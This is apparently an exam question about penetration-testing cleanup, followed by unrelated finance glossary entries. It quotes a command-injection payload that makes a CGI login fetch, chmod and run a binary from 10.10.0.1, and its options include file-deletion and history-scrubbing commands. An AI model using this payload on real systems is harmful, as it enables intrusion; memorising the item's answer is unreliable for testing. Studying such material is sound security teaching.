A Penetration Tester Was Able to Gain Access to a System

question 65

Multiple Choice

A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that was utilized: exploit = "POST " exploit += "/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} - c${IFS}'cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}apache;${IFS}./apache'%0A%27&loginUser=a&Pwd=a" exploit += "HTTP/1.1" Which of the following commands should the penetration tester run post-engagement?

• A) grep -v apache ~/.bash_history > ~/.bash_history
• B) rm -rf /tmp/apache
• C) chmod 600 /tmp/apache
• D) taskkill /IM "apache" /F

---

Definitions:

Control Of The Firm

The concept referring to who holds significant decision-making power in a company, usually the board of directors or shareholders.

Dual

Pertaining to or involving two parts, elements, or aspects.

Stock Classes

Different types of shares that a company can issue, each of which might have specific rights, privileges, or voting powers.

Capital Gains

The financial gain achieved when the selling price of an asset or investment surpasses its original buying price.